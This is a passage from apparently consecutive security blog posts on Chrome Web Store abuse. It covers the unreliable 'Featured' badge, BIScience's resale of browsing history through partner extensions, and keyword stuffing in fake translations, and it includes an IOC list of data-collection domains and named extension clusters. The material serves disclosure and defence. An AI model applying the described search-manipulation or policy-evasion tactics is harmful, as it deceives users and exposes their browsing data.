But at least the “Featured” badge is meaningful, right? It certainly sounds like somebody at Google reviewed the extension and considered it worthy of carrying the badge. At least Google’s announcement indeed suggests a manual review:

Chrome team members manually evaluate each extension before it receives the badge, paying special attention to the following:

1. Adherence to Chrome Web Store’s best practices guidelines, including providing an enjoyable and intuitive experience, using the latest platform APIs and respecting the privacy of end-users.
2. A store listing page that is clear and helpful for users, with quality images and a detailed description.

Yet looking through 920 spammy extensions I reported recently, most of them carry the “Featured” badge. Yes, even the endless copies of video downloaders, volume boosters, AI assistants, translators and such. If there is an actual manual review of these extensions as Google claims, it cannot really be thorough.

To provide a more tangible example, Chrome Web Store currently has Blaze VPN, Safum VPN and Snap VPN extensions carry the “Featured” badge. These extensions (along with Ishaan VPN which has barely any users) belong to the PDF Toolbox cluster which produced malicious extensions in the past. A cursory code inspection reveals that all four are identical and in fact clones of Nucleus VPN which was removed from Chrome Web Store in 2021. And they also don’t even work, no connections succeed. The extension not working is something users of Nucleus VPN complained about already, a fact that the extension compensated with fake reviews.

So it looks like the main criteria for awarding the “Featured” badge are the things which can be easily verified automatically: user count, Manifest V3, claims to respect privacy (not even the privacy policy, merely that the right checkbox was checked), a Chrome Web Store listing with all the necessary promotional images. Given how many such extensions are plainly broken, the requirements on the user interface and generally extension quality don’t seem to be too high. And providing unique functionality definitely isn’t on the list of criteria.

In other words: if you are a Chrome user, the “Featured” badge is completely meaningless. It is no guarantee that the extension isn’t malicious, not even an indication. In fact, authors of malicious extensions will invest some extra effort to get this badge. That’s because the website algorithm seems to weigh the badge considerably towards the extension’s ranking.

How did Google get into this mess?

Google Chrome first introduced browser extensions in 2011. At that point the dominant browser extensions ecosystem was Mozilla’s, having been around for 12 years already. Mozilla’s extensions suffered from a number of issues that Chrome developers noticed of course: essentially unrestricted privileges necessitated very thorough reviews before extensions could be published on Mozilla Add-ons website, due to high damage potential of the extensions (both intentional and unintentional). And since these reviews relied largely on volunteers, they often took a long time, with the publication delays being very frustrating to add-on developers.

Disclaimer: I was a reviewer on Mozilla Add-ons myself between 2015 and 2017.

Google Chrome was meant to address all these issues. It pioneered sandboxed extensions which allowed limiting extension privileges. And Chrome Web Store focused on automated reviews from the very start, relying on heuristics to detect problematic behavior in extensions, so that manual reviews would only be necessary occasionally and after the extension was already published. Eventually, market pressure forced Mozilla to adopt largely the same approaches.

Google’s over-reliance on automated tools caused issues from the very start, and it certainly didn’t get any better with the increased popularity of the browser. Mozilla accumulated a set of rules to make manual reviews possible, e.g. all code should be contained in the extension, so no downloading of extension code from web servers. Also, reviewers had to be provided with an unobfuscated and unminified version of the source code. Google didn’t consider any of this necessary for their automated review systems. So when automated review failed, manual review was often very hard or even impossible.

It’s only with the introduction of Manifest V3 now that Chrome finally prohibits remote hosted code. And it took until 2018 to prohibit code obfuscation, while Google’s reviewers still have to reverse minification for manual reviews. Mind you, we are talking about policies that were already long established at Mozilla when Google entered the market in 2011.

And extension sandboxing, while without doubt useful, didn’t really solve the issue of malicious extensions. I already wrote about one issue back in 2016:

The problem is: useful extensions will usually request this kind of “give me the keys to the kingdom” permission.

Essentially, this renders permission prompts useless. Users cannot possibly tell whether an extension has valid reasons to request extensive privileges. So legitimate extensions have to constantly deal with users who are confused about why the extension needs to “read and change all your data on all websites.” At the same time, users are trained to accept such prompts without thinking twice.

And then malicious add-ons come along, requesting extensive privileges under a pretense. Monetization companies put out guides for extension developers on how they can request more privileges for their extensions while fending off complains from users and Google alike. There is a lot of this going on in Chrome Web Store, and Manifest V3 couldn’t change anything about it.

So what we have now is:

1. Automated review tools that malicious actors willing to invest some effort can work around.
2. Lots of extensions with the potential for doing considerable damage, yet little way of telling which ones have good reasons for that and which ones abuse their privileges.
3. Manual reviews being very expensive due to historical decisions.
4. Massively inflated extension count due to unchecked spam.

Number 3 and 4 in particular seem to further trap Google in the “it needs to be automated” mindset. Yet adding more automated layers isn’t going to solve the issue when there are companies which can put a hundred employees on devising new tricks to avoid triggering detection. Yes, malicious extensions are big business.

What could Google do?

If Google were interested in making Chrome Web Store a safer place, I don’t think there is a way around investing considerable (manual) effort into cleaning up the place. Taking down a single extension won’t really hurt the malicious actors, they have hundreds of other extensions in the pipeline. Tracing the relationships between extensions on the other hand and taking down the entire cluster – that would change things.

As the saying goes, the best time to do this was a decade ago. The second best time is right now, when Chrome Web Store with its somewhat less than 150,000 extensions is certainly large but not yet large enough to make manual investigations impossible. Besides, there is probably little point in investigating abandoned extensions (latest release more than two years ago) which make up almost 60% of Chrome Web Store.

But so far Google’s actions have been entirely reactive, typically limited to extensions which already caused considerable damage. I don’t know whether they actually want to stay on top of this. From the business point of view there is probably little reason for that. After all, Google Chrome no longer has to compete for market share, having essentially won against the competition. Even with Chrome extensions not being usable, Chrome will likely stay the dominant browser.

In fact, Google has significant incentives to keep a particular class of extensions low, so one might even suspect intention behind allowing Chrome Web Store to be flooded with shady and outright malicious ad blockers.

• This is a guest post by a researcher who wants to remain anonymous. You can contact the author via email.

Recently, John Tuckner of Secure Annex and Wladimir Palant published great research about how BIScience and its various brands collect user data. This inspired us to publish part of our ongoing research to help the extension ecosystem be safer from bad actors.

This post details what BIScience does with the collected data and how their public disclosures are inconsistent with actual practices, based on evidence compiled over several years.

<figcaption> Screenshot of claims on the BIScience website </figcaption>

Who is BIScience?

BIScience is a long-established data broker that owns multiple extensions in the Chrome Web Store (CWS) that collect clickstream data under false pretenses. They also provide a software development kit (SDK) to partner third-party extension developers to collect and sell clickstream data from users, again under false pretenses. This SDK will send data to sclpfybn.com and other endpoints controlled by BIScience.

“Clickstream data” is an analytics industry term for “browsing history”. It consists of every URL users visit as they browse the web.

According to their website, BIScience “provides the deepest digital & behavioral data intelligence to market research companies, brands, publishers & investment firms”. They sell clickstream data through their Clickstream OS product and sell derived data under other product names.

BIScience owns AdClarity. They provide “advertising intelligence” for companies to monitor competitors. In other words, they have a large database of ads observed across the web. They use data collected from services operated by BIScience and third parties they partner with.

BIScience also owns Urban Cyber Security. They provide VPN, ad blocking, and safe browsing services under various names: Urban VPN, 1ClickVPN, Urban Browser Guard, Urban Safe Browsing, and Urban Ad Blocker. Urban collects user browsing history from these services, which is then sold by BIScience to third parties through Clickstream OS, AdClarity, and other products.

BIScience also owned GeoSurf, a residential proxy service that shut down in December 2023.

BIScience collects data from millions of users

BIScience is a huge player in the browser extension ecosystem, based on their own claims and our observed activity. They also collect data from other sources, including Windows apps and Android apps that spy on other running apps.

The websites of BIScience and AdClarity make the following claims:

• They collect data from 25 million users, over 250 million user events per day, 400 million unique domains
• They process 4.5 petabytes of data every month
• They are the “largest human panel based ad intelligence platform”

These numbers are the most recent figures from all pages on their websites, not only the home pages. They have consistently risen over the years based on archived website data, so it’s safe to say any lower figures on their website are outdated.

BIScience buys data from partner third-party extensions

BIScience proactively contacts extension developers to buy clickstream data. They claim to buy this data in anonymized form, and in a manner compliant with Chrome Web Store policies. Both claims are demonstrably false.

Several third-party extensions integrate with BIScience’s SDK. Some are listed in the Secure Annex blog post, and we have identified more in the IOCs section. There are additional extensions which use their own custom endpoint on their own domain, making it more difficult to identify their sale of user data to BIScience and potentially other data brokers. Secure Annex identifies October 2023 as the earliest known date of BIScience integrations. Our evidence points to 2019 or earlier.

Our internal data shows the Visual Effects for Google Meet extension and other extensions collecting data since at least mid-2022. BIScience has likely been collecting data from extensions since 2019 or earlier, based on public GitHub posts by BIScience representatives (2021, 2021, 2022) and the 2019 DataSpii research that found some references to AdClarity in extensions. BIScience was founded in 2009 when they launched GeoSurf. They later launched AdClarity in 2012.

BIScience receives raw data, not anonymized data

Despite BIScience’s claims that they only acquire anonymized data, their own extensions send raw URLs, and third-party extensions also send raw URLs to BIScience. Therefore BIScience collects granular clickstream data, not anonymized data.

If they meant to say that they only use/resell anonymized data, that’s not comforting either. BIScience receives the raw data and may store, use, or resell it as they choose. They may be compelled by governments to provide the raw data, or other bad actors may compromise their systems and access the raw data. In general, collecting more data than needed increases risks for user privacy.

Even if they anonymize data as soon as they receive it, anonymous clickstream data can contain sensitive or identifying information. A notable example is the Avast-Jumpshot case discovered by Wladimir Palant, who also wrote a deep dive into why anonymizing browsing history is very hard.

As the U.S. FTC investigation found, Jumpshot stored unique device IDs that did not change over time. This allowed reidentification with a sufficient number of URLs containing identifying information or when combined with other commercially-available data sources.

Similarly, BIScience’s collected browsing history is also tied to a unique device ID that does not change over time. A user’s browsing history may be tied to their unique ID for years, making it easier for BIScience or their buyers to perform reidentification.

BIScience’s privacy policy states granular browsing history information is sometimes sold with unique identifiers (emphasis ours):

In most cases the Insights are shared and [sold] in an aggregated non-identifying manner, however, in certain cases we will sell or share the insights with a general unique identifier, this identifier does not include your name or contact information, it is a random serial number associated with an End Users’ browsing activity. However, in certain jurisdictions this is considered Personal Data, and thus, we treat it as such.

Misleading CWS policies compliance

When you read the Chrome Web Store privacy disclosures on every extension listing, they say:

This developer declares that your data is

• Not being sold to third parties, outside of approved use cases
• Not being used or transferred for purposes that are unrelated to the item’s core functionality
• Not being used or transferred to determine creditworthiness or for lending purposes

You might wonder:

1. How is BIScience allowed to sell user data from their own extensions to third parties, through AdClarity and other BIScience products?
2. How are partner extensions allowed to sell user data to BIScience, a third party?

BIScience and partners take advantage of loopholes in the Chrome Web Store policies, mainly exceptions listed in the Limited Use policy which are the “approved use cases”. These exceptions appear to allow the transfer of user data to third parties for any of the following purposes:

• if necessary to providing or improving your single purpose;
• to comply with applicable laws;
• to protect against malware, spam, phishing, or other fraud or abuse; or,
• as part of a merger, acquisition or sale of assets of the developer after obtaining explicit prior consent from the user

The Limited Use policy later states:

All other transfers, uses, or sale of user data is completely prohibited, including:

• Transferring, using, or selling data for personalized advertisements.
• Transferring or selling user data to third parties like advertising platforms, data brokers, or other information resellers.
• Transferring, using, or selling user data to determine credit-worthiness or for lending purposes.

BIScience and partner extensions develop user-facing features that allegedly require access to browsing history, to claim the “necessary to providing or improving your single purpose” exception. They also often implement safe browsing or ad blocking features, to claim the “protect against malware, spam, phishing” exception.

Chrome Web Store appears to interpret their policies as allowing the transfer of user data, if extensions claim Limited Use exceptions through their privacy policy or other user disclosures. Unfortunately, bad actors falsely claim these exceptions to sell user data to third parties.

This is despite the CWS User Data FAQ stating (emphasis ours):

12. Can my extension collect web browsing activity not necessary for a user-facing feature, such as collecting behavioral ad-targeting data or other monetization purposes?
    No. The Limited Uses of User Data section states that an extension can only collect and transmit web browsing activity to the extent required for a user-facing feature that is prominently described in the Chrome Web Store page and user interface. Ad targeting or other monetization of this data isn’t for a user-facing feature. And, even if a user-facing feature required collection of this data, its use for ad targeting or any other monetization of the data wouldn’t be permitted because the Product is only permitted to use the data for the user-facing feature.

In other words, even if there is a “legitimate” feature that collects browsing history, the same data cannot be sold for profit.

Unfortunately, when we and other researchers ask Google to enforce these policies, they appear to lean towards giving bad actors the benefit of the doubt and allow the sale of user data obtained under false pretenses.

We have the receipts contracts, emails, and more to prove BIScience and partners transfer and sell user data in a “completely prohibited” manner, primarily for the purpose of “transferring or selling user data to third parties like advertising platforms, data brokers, or other information resellers” with intent to monetize the data.

BIScience extensions exception claims

Urban products (owned by BIScience) appear to provide ad blocking and safe browsing services, both of which may claim the “protect against malware, spam, phishing” exception. Their VPN products (Urban VPN, 1ClickVPN) may claim the “necessary to providing single purpose” exception.

These exceptions are abused by BIScience to collect browsing history data for prohibited purposes, because they also sell this user data to third parties through AdClarity and other BIScience products. There are ways to provide these services without processing raw URLs in servers, therefore they do not need to collect this data. They certainly don’t need to sell it to third parties.

Reputable ad blocking extensions, such as Adblock Plus, perform blocking solely on the client side, without sending every URL to a server. Safe browsing protection can also be performed client side or in a more privacy-preserving manner even when using server-side processing.

Partner extensions exception claims, guided by BIScience

Partner third-party extensions collect data under even worse false pretenses. Partners are encouraged by BIScience to implement bogus services that exist solely to collect and sell browsing history to BIScience. These bogus features are only added to claim the Limited Use policy exceptions.

We analyzed several third-party extensions that partner with BIScience. None have legitimate business or technical reasons to collect browsing history and sell it to BIScience.

BIScience provides partner extensions with two integration options: They can add the BIScience SDK to automatically collect data, or partners can send their self-collected data to a BIScience API endpoint or S3 bucket.

The consistent message from the documents and emails provided by BIScience to our sources is essentially this, in our own words: You can integrate our SDK or send us browsing history activity if you make a plausible feature for your existing extension that has nothing to do with your actual functionality that you have provided for years. And here are some lies you can tell CWS to justify the collection.

BIScience SDK

The SDKs we have observed provide either safe browsing or ad blocking features, which makes it easy for partner extensions to claim the “protect against malware, spam, phishing” exception.

The SDK checks raw URLs against a BIScience service hosted on sclpfybn.com. With light integration work, an extension can allege they offer safe browsing protection or ad blocking. We have not evaluated how effective this safe browsing protection is compared to reputable vendors, but we suspect it performs minimal functionality to pass casual examination. We confirmed this endpoint also collects user data to resell it, which is unrelated to the safe browsing protection.

Unnecessary features

Whether implemented through the SDK or their own custom integration, the new “features” in partner extensions were completely unrelated to the extension’s existing core functionality. All the analyzed extensions had working core functionality before they added the BIScience integrations.

Let’s look at this illuminating graphic, sent by BIScience to one of our sources:

Notice how the graphic shows raw URLs are sent to BIScience regardless of whether the URL is needed to provide the user functionality, such as safe browsing protection. The step of sending data to BIScience is explicitly outside and separate from the user functionality.

Misleading privacy policy disclosures

BIScience’s integration guide suggests changes to an extension’s privacy policy in an attempt to comply with laws and Chrome Web Store policies, such as:

Company does not sell or rent your personal data to any third parties. We do, however, need to share your personal data to run our everyday business. We share your personal data with our affiliates and third-party service providers for everyday business purposes, including to:

• Detect and suggest to close malware websites;
• Analytics and Traffic Intelligence

This and other suggested clauses contradict each other or are misleading to users.

Quick fact check:

• Extension doesn’t sell your personal data: False, the main purpose of the integration with BIScience is to sell browsing history data.
• Extension needs to share your personal data: False, this is not necessary for everyday business. Much less for veiled reasons such as malware protection or analytics.

An astute reader may also notice BIScience considers browsing history data as personal data, given these clauses are meant to disclose transfer of browsing history to BIScience.

Misleading user consent

BIScience’s contracts with partners require opt-in consent for browsing history collection, but in practice these consents are misleading at best. Each partner must write their own consent prompt, which is not provided by BIScience in the SDK or documentation.

As an example, the extension Visual Effects for Google Meet integrated the BIScience safe browsing SDK to develop a new “feature” that collects browsing history:

We identified other instances of consent prompts that are even more misleading, such as a vague “To continue using our extension, please allow web history access” within the main product interface. This was only used to obtain consent for the BIScience integration and had no other purpose.

Our hope for the future

When you read the Chrome Web Store privacy disclosures on every extension listing, you might be inclined to believe the extension isn’t selling your browsing history to a third party. Unfortunately, Chrome Web Store allows this if extensions pretend they are collecting “anonymized” browsing history for “legitimate” purposes.

Our hope is that Chrome Web Store closes these loopholes and enforces stricter parts of the existing Limited Use and Single Purpose policies. This would align with the Chrome Web Store principles of Be Safe, Be Honest, and Be Useful.

If they don’t close these loopholes, we want CWS to clarify existing privacy disclosures shown to all users in extension listings. These disclosures are currently insufficient to communicate that user data is being sold under these exceptions.

Browser extension users deserve better privacy and transparency.

Related reading

If you want to learn more about browser extensions collecting your browsing history for profit:

• Technical details of BIScience data collection by John Tuckner of Secure Annex
• Avast Online Security and Avast Secure Browser are spying on you by Wladimir Palant
• Avast’s broken data anonymization approach by Wladimir Palant
• Insights from Avast/Jumpshot data: Pitfalls of data anonymization by Wladimir Palant
• Most other articles about Add-Ons by Wladimir Palant
• U.S. FTC investigation into Avast/Jumpshot
• Motherboard and PCMag investigation into Avast/Jumpshot
• 2019 DataSpii research by Sam Jadali. This case involved Nacho Analytics, another analytics company using clickstream data.

IOCs

The Secure Annex blog post publicly disclosed many domains related to BIScience. We have observed additional domains over the years, and have included all the domains below.

We have chosen not to disclose some domains used in custom integrations to protect our sources and ongoing research.

Collection endpoints seen in third-party extensions:

• sclpfybn[.]com
• tnagofsg[.]com

Collection endpoints seen in BIScience-owned extensions and software:

• urban-vpn[.]com
• ducunt[.]com
• adclarity[.]com

Third-party extensions which have disclosed in their privacy policies that they share raw browsing history with BIScience (credit to Wladimir Palant for identifying these):

• sandvpn[.]com
• getsugar[.]io

Collection endpoints seen in online data, software unknown but likely in third-party software:

• cykmyk[.]com
• fenctv[.]com

Collection endpoint in third-party software, identified in 2019 DataSpii research:

• pnldsk[.]adclarity[.]com

A few months ago I searched for “Norton Password Manager” in Chrome Web Store and got lots of seemingly unrelated results. Not just that, the actual Norton Password Manager was listed last. These search results are still essentially the same today, only that Norton Password Manager moved to the top of the list:

I was stumped how Google managed to mess up search results so badly and even posted the following on Mastodon:

Interesting. When I search for “Norton Password Manager” on Chrome Web Store, it first lists five completely unrelated extensions, and only the last search result is the actual Norton Password Manager. Somebody told me that website is run by a company specializing in search, so this shouldn’t be due to incompetence, right? What is it then?

Somebody suggested that the extensions somehow managed to pay Google for this placement which seems… well, rather unlikely. For reasons, I came back to this a few weeks ago and decided to take a closer look at the extensions displayed there. These seemed shady, with at least three results being former open source extensions (as in: still claiming to be open source but the code repository linked didn’t contain the current state).

And then I somehow happened to see what it looks like when I change Chrome Web Store language:

Now I don’t claim to know Swahili but what happened here clearly wasn’t translating.

Contents

The trick

Google Chrome is currently available in 55 languages. Browser extensions can choose to support any subset of these languages, even though most of them support exactly one. Not only the extension’s user interface can be translated, its name and short description can be made available in multiple languages as well. Chrome Web Store considers such translations according to the user’s selected language. Chrome Web Store also has an extensive description field which isn’t contained within the extension but can be translated.

Apparently, some extension authors figured out that the Chrome Web Store search index is shared across all languages. If you wanted to show up in the search when people look for your competitors for example, you could add their names to your extension’s description – but that might come across as spammy. So what you do instead is sacrificing some of the “less popular” languages and stuff the descriptions there full of relevant keywords. And then your extension starts showing up for these keywords even when they are entered in the English version of the Chrome Web Store. After all, who cares about Swahili other than maybe five million native speakers?

I’ve been maintaining a Github repository with Chrome extension manifests for a while, uploading new snapshots every now and then. Unfortunately, it only contained English names and descriptions. So now I’ve added a directory with localized descriptions for each extension. With that data, most of the issues became immediately obvious – even if you don’t know Swahili.

Update (2025-01-09): Apparently, Google has already been made aware of this issue a year ago at the latest. Your guess is as good as mine as to why it hasn’t been addressed yet.

Who is doing it?

Sifting through the suspicious descriptions and weeding out false positives brought up 920 extensions with bogus “translations” so far, and I definitely didn’t get all of them (see the extension lists). But that doesn’t actually mean hundreds of extension developers. I’ve quickly noticed patterns, somebody applying roughly the same strategy to a large cluster of extensions. For example, European developers tended to “sacrifice” some Asian languages like Bengali whereas developers originating in Asia preferred European languages like Estonian. These strategies were distinctly different from each other and there wasn’t a whole lot of them, so there seems to be a relative low number of parties involved. Some I could even put a name on.

Kodice LLC / Karbon Project LP / BroCode LTD

One such cluster of extensions has been featured on this blog in 2023 already. Back then I listed 108 of their extensions which was only a small sample of their operations. Out of that original sample, 96 extension remain active in Chrome Web Store. And out of these, 81 extensions are abusing translations to improve their ranking in the extension search. From the look of it, all their developers are speaking Russian now – I guess they are no longer hiring in Ukraine. I’ve expanded on the original list a bit, but attribution is unfortunately too time consuming here. So it’s likely way more than the 122 extensions I now list for this cluster.

Back in 2023 some of these extensions were confirmed to spy on users, commit affiliate fraud or inject ads into web pages. The others seemed benign which most likely meant that they were accumulating users and would turn malicious later. But please don’t mention Kodice LLC, Karbon Project LP, BroCode LTD in the context of malicious extensions and Chrome Web Store spam, they don’t like that. In fact, they sent a bogus DMCA takedown notice in an attempt to remove my article from the search engines, claiming that it violates the copyright of the …checks notes… Hacker News page discussing that very article. So please don’t say that Kodice LLC, Karbon Project LP, BroCode LTD are spamming Chrome Web Store with their extensions which would inevitably turn on their users – they are definitely the good guys … sorry, good bros I mean.

PDF Toolbox cluster

Another extension cluster also appeared on this blog before. Back in 2023 an investigation that started with the PDF Toolbox extension brought up 34 malicious extensions. The extensions contained obfuscated code that was hijacking people’s searches and monetizing them by redirecting to Bing. Not that they were limited to it, they could potentially do way more damage.

Note: The PDF Toolbox extension is long gone from Chrome Web Store and unrelated to the extension with the same name available there now.

Google removed all the extensions I reported back then, but whoever is behind them kept busy of course. I found 107 extensions belonging to the same cluster, out of these 100 extensions are on my list due to abusing translations to improve their ranking. I didn’t have the time to do an in-depth analysis of these extensions, but at least one (not on the list) is again doing search hijacking and not even hiding it. The few others I briefly looked at didn’t have any obvious malicious functionality – yet.

Unfortunately, I haven’t come across many clues towards who is behind these extensions. There is a slight indication that these extensions might be related to the BroCode cluster, but that’s far from certain given the significant differences between the two. One thing is certain however: you shouldn’t believe their user numbers, these have clearly been inflated artificially.

ZingFront Software / ZingDeck / BigMData

There is one more huge extensions cluster that I investigated in 2023. Back then I gave up without publishing my findings, in part due to Google’s apparent lack of interest in fighting spam in their add-on store. Lots of websites, lots of fake personas and supposed companies that don’t actually exist, occasionally even business addresses that don’t exist in the real world. There are names like LinkedRadar, FindNiche or SellerCenter, and they aren’t spamming only Chrome Web Store but also mobile app stores and search engines for example. This is clearly a big operation, but initially all I could really tell was that this was the work of people speaking Chinese. Was this a bunch of AI enthusiasts looking to make a quick buck and exchanging ideas?

In the hindsight it took me too long to realize that many of the websites run on ZingFront infrastructure and ZingFront employees are apparently involved. Then things started falling into place, with the clues being so obvious: I found BigMData International PTE. LTD. linked to some of the extensions, ZingDeck Intl LTD. responsible for some of the others. Both companies are located at the same address in Singapore and obviously related. And both appear to be subsidiaries of ZingFront Software, an AI startup in Beijing. ZingDeck claims to have 120 employees, which is quite sufficient to flood Chrome Web Store with hundreds of extensions. Being funded by Baidu Ventures certainly helps as well.

Altogether I could attribute 223 extensions on my list to this cluster. For this article I could not really inspect the functionality of these extensions, but it seems that they are being monetized by selling subscriptions to premium functionality. Same seems to be true for the numerous other offers pushed out by these companies.

I asked ZingFront Software for a comment but haven’t heard back from them so far.

ExtensionsBox, Lazytech, Yue Apps, Chrome Extension Hub, Infwiz, NioMaker

The extension clusters ExtensionsBox, Lazytech, Yue Apps, Chrome Extension Hub, Infwiz and NioMaker produce very similar extensions and all seem to be run by Chinese-speaking developers. Some of those might actually be one cluster, or they might all be subdivisions of ZingDeck. Quite frankly, I didn’t want to waste even more time figuring out who is working together and who is competing, so I listed them all separately.

Free Business Apps

This is a large cluster which I haven’t noticed before. It has hundreds of extensions connected to websites like Free Business Apps, PDFWork, DLLPlayer and many more. It contributed “merely” 55 extensions to my list however because the developers of these extensions generally prefer to avoid awkward situations due to mismatched translations. So instead they force the desired (English) keywords into all translations of the extension’s description. This approach is likely aiming for messing up general search engines and not merely Chrome Web Store search. As it is out of scope for this article, only the relatively rare exceptions made my list here.

It isn’t clear who is behind this cluster of extensions. On the one edge of this cluster I found the Ukraine-based Blife LLC, yet their official extensions aren’t linked to the cluster. I asked the company for comment and got a confirmation of what I’ve already suspected after looking at a bunch of court decisions: a previous developer and co-owner left the company, taking some of the assets with him. He now seems to be involved with at least some of the people running this cluster of extensions.

The other edge of the cluster doesn’t seem to be speaking Russian or Ukrainian however, there are instead weak indications that Farsi-speakers are involved. Here I found the Teheran-based Xino Digital, developing some extensions with weak connections to this cluster. While Xino Digital specializes in “Digital Marketing” and “SEO & Organic Traffic,” they seem to lack the resources for this kind of operation. I asked Xino Digital for a comment but haven’t heard back so far.

The approaches

While all extensions listed use translations to mess with Chrome Web Store search, a number of different approaches can be distinguished. Most extensions combine a few of the approaches listed below. Some extension clusters use the same approaches consistently, others vary theirs. I’ve linked to the applying approaches from the extension list.

1. Different extension name

This approach is very popular, likely due to Chrome Web Store search weighting extension name more than its descriptions. So many extensions will use slight variations of their original name depending on the language. Some extensions even go as far as using completely different names, occasionally entirely unrelated to the extension’s purpose – all to show up prominently in searches.

2. Different short description

Similarly, some extensions contain different variants of their short description for various languages. The short description typically doesn’t change much and is only used to show up for a bunch of related search keywords. A few extensions replaced their short description for some languages with a list of keywords however.

3. Using competitors’ names

In some cases I noticed extensions using names of their competitors or other related products. Some would go as far as “rename” themselves into a competing product in some languages. In other cases this approach is made less obvious, e.g. when extension descriptions provide lists of “alternatives” or “compatible extensions.” I haven’t flagged this approach consistently, simply because I don’t always know who the competitors are.

4. Considerably more extensive extension description

Some extensions have a relatively short and concise English description, yet the “translation” into some other languages is a massive wall of text, often making little sense. Sometimes a translation is present, but it is “extended” with a lengthy English passage. In other scenarios only English text is present. This text only seems to exist to place a bunch of keywords.

Note that translation management in Chrome Web Store is quite messy, so multiple variants of the English translation aren’t necessarily a red flag – these might have simply been forgotten. Consequently, I tried to err in favor of extension authors when flagging this approach.

5. Keywords at the end of extension description

A very popular approach is taking a translation (or an untranslated English description), then adding a long list of keywords and keyphrases to the end of it in some languages. Often this block is visually separated by a bunch of empty lines, making sure people actually reading the description in this language aren’t too confused.

6. Keywords within the extension description

A more stealthy approach is hiding the keywords within the extension description. Some extensions will use slight variations of the same text, only differing in one or two keywords. Others use automated translations of their descriptions but place a bunch of (typically English) keywords in these translations. Occasionally there is a translation which is broken up by a long list of unrelated keywords.

7. Different extension description

In a few cases the extension description just looked like a completely unrelated text. Sometimes it seemed to be a copy of a description from a competing extension, other times it made no sense whatsoever.

And what should Google do about it?

Looking at Chrome Web Store policy on spam and abuse, the formulation is quite clear:

Developers must not attempt to manipulate the placement of any extensions in the Chrome Web Store.

So Google can and should push back on this kind of manipulation. At the very least, Google might dislike the fact that there are currently at least eleven extensions named “Google Translate” – at least in some languages. In fact, per the same policy Google isn’t even supposed to tolerate spam in Chrome Web Store:

We don’t allow any developer, related developer accounts, or their affiliates to submit multiple extensions that provide duplicate experiences or functionality on the Chrome Web Store.

Unfortunately, Google hasn’t been very keen on enforcing this policy in the past.

There is also a possible technical solution here. By making Chrome Web Store search index per-language, Google could remove the incentives for this kind of manipulation. If search results for Bengali no longer show up in English-language searches, there is no point messing up the Bengali translation any more. Of course, searching across languages is a feature – yet this feature isn’t worth it if Google cannot contain the abuse by other means.

Quite frankly, I feel that Google should go beyond basic containment however. The BroCode and PDF Toolbox clusters are known to produce malicious extensions. These need to be monitored proactively, and the same kind of attention might be worth extending to the other extension clusters as well.

The extensions in question

One thing up front: Chrome Web Store is messy. There are copycats, pretenders, scammers. So attribution isn’t always a straightforward affair, and there might occasionally be an extension attributed to one of the clusters which doesn’t belong there. It’s way more common that an extension isn’t sorted into its cluster however, simply because the evidence linking it to the cluster isn’t strong enough, and I only had limited time to investigate.

The user counts listed reflect the state on December 13, 2024.

Kodice / Karbon Project / BroCode

Name	Weekly active users	Extension ID	Approaches
What Font - find font & color	125	abefllafeffhoiadldggcalfgbofohfa	1, 2, 4
Video downloader web	1,000,000	acmbnbijebmjfmihfinfipebhcmgbghi	1, 2, 4
Picture in Picture - Floating player	700,000	adnielbhikcbmegcfampbclagcacboff	1, 2, 4
Floating Video Player Sound Booster	600,000	aeilijiaejfdnbagnpannhdoaljpkbhe	1, 2, 4
Sidebarr - ChatGPT, bookmarks, apps and more	100,000	afdfpkhbdpioonfeknablodaejkklbdn	1, 2, 5
Adblock for Youtube™ - Auto Skip ad	8,000	anceggghekdpfkjihcojnlijcocgmaoo	1, 2
Cute Cursors - Custom Cursor for Chrome™	1,000,000	anflghppebdhjipndogapfagemgnlblh	4
Adblock for Youtube - skip ads	800,000	annjejmdobkjaneeafkbpipgohafpcom	1, 2, 3, 4
Translator, Dictionary - Accurate Translate	800,000	bebmphofpgkhclocdbgomhnjcpelbenh	1, 2, 3, 4
Screen Capture, Screenshot, Annotations	500,000	bmkgbgkneealfabgnjfeljaiegpginpl	1, 2
Sweet VPN	100,000	bojaonpikbbgeijomodbogeiebkckkoi	1, 2
Sound Booster - Volume Control	3,000,000	ccjlpblmgkncnnimcmbanbnhbggdpkie	1, 2, 4, 6
Web Client for Instagram™ - Sidegram	200,000	cfegchignldpfnjpodhcklmgleaoanhi	1, 2
Paint Tool for Chrome	200,000	coabfkgengacobjpmdlmmihhhfnhbjdm	1, 2, 4
History & Cache Cleaner - Smart Clean	2,000	dhaamkgjpilakclbgpabiacmndmhhnop	1, 2
Screenshot & Screen Video Record by Screeny	2,000,000	djekgpcemgcnfkjldcclcpcjhemofcib	1, 2, 4
Video Downloader for U	3,000,000	dkbccihpiccbcheieabdbjikohfdfaje	4
Multi Chat - Messenger for WhatsApp	2,000,000	dllplfhjknghhdneiblmkolbjappecbe	1, 2, 3, 7
Night Shift Mode	200,000	dlpimjmonhbmamocpboifndnnakgknbf	1, 2, 4
Music Downloader - VKsaver	500,000	dmbjkidogjmmlejdmnecpmfapdmidfjg	1, 2, 4
Daily Tab - New tab with ChatGPT	1,000	dnbcklfggddbmmnkobgedggnacjoagde	1, 2, 4
Web Color Picker - online color grabber	1,000,000	dneifdhdmnmmlobjbimlkcnhkbidmlek	1, 3, 4
Paint - Drawings Easy	300,000	doiiaejbgndnnnomcdhefcbfnbbjfbib	1, 2, 4, 6
Block Site - Site Blocker & Focus Mode	2,000,000	dpfofggmkhdbfcciajfdphofclabnogo	1, 2, 3, 4
2048 Online Classic game	200,000	eabhkjojehdleajkbigffmpnaelncapp	1, 2
Gmail Notifier - gmail notification tool	100,000	ealojglnbikknifbgleaceopepceakfn	6
Volume Recorder Online	1,000,000	ebdbcfomjliacpblnioignhfhjeajpch	1, 2, 4, 6
Volume Booster - Sound & Bass boost	1,000,000	ebpckmjdefimgaenaebngljijofojncm	1, 2, 4, 6
Screenshot Tool - Screen Capture & Editor	1,000,000	edlifbnjlicfpckhgjhflgkeeibhhcii	1, 2, 4, 6
Tabrr Dashboard - New Tab with ChatGPT	300,000	ehmneimbopigfgchjglgngamiccjkijh	6
New Tab for Google Workspace™	200,000	ehpgcagmhpndkmglombjndkdmggkgnge	1, 4, 5
Equalizer - Bass Booster Master	200,000	ejigejogobkbkmkgjpfiodlmgibfaoek	1, 2, 4, 6
Paint	300,000	ejllkedmklophclpgonojjkaliafeilj	1, 4
Online messengers in All-in-One chat	200,000	ekjogkoigkhbgdgpolejnjfmhdcgaoof	2, 4, 6
Ultimate Video Downloader	700,000	elpdbicokgbedckgblmbhoamophfbchi	2
